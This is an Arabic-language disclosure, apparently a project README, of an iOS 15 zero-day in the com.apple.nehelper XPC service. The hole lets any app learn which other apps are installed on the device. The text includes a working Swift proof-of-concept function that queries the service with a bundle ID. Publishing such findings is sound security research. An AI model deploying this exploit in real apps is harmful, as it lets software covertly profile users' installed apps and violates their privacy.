
استغلال ثغرة يوم الصفر لنظام iOS 15 (لا يزال يعمل في 15.0.2)
لقد حدّثت هذا الكود لتجنّب استخدام الـ Private API مباشرة. اقرأ المزيد في مقالة مدونتي. ومع ذلك، هذا يعني أن هذا الكود أصبح الآن خاصًا بإصدار iOS وربما خاصًا بطراز الجهاز. لذا إذا لم يعمل على جهازك، أعد حساب الإزاحات وحدّثها في ملف c.c. يمكن العثور على الكود الأصلي في فرع direct.
تسمح الثغرة لأي تطبيق مثبّت من قبل المستخدم بتحديد ما إذا كان أي تطبيق مثبّت على الجهاز أم لا، وذلك بإعطائه معرف الحزمة (bundle ID).
نقطة نهاية XPC "com.apple.nehelper" لديها طريقة يمكن لأي تطبيق الوصول إليها، تقبل معرف الحزمة (bundle ID) كمعامل وتُرجع مصفوفة تحتوي بعض معرّفات UUID الخاصة بالكاش إذا كان التطبيق ذو معرف الحزمة المطابق مثبّتًا على الجهاز، أو مصفوفة فارغة في الحالة المعاكسة.
يحدث هذا في -[NEHelperCacheManager onQueueHandleMessage:] داخل /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}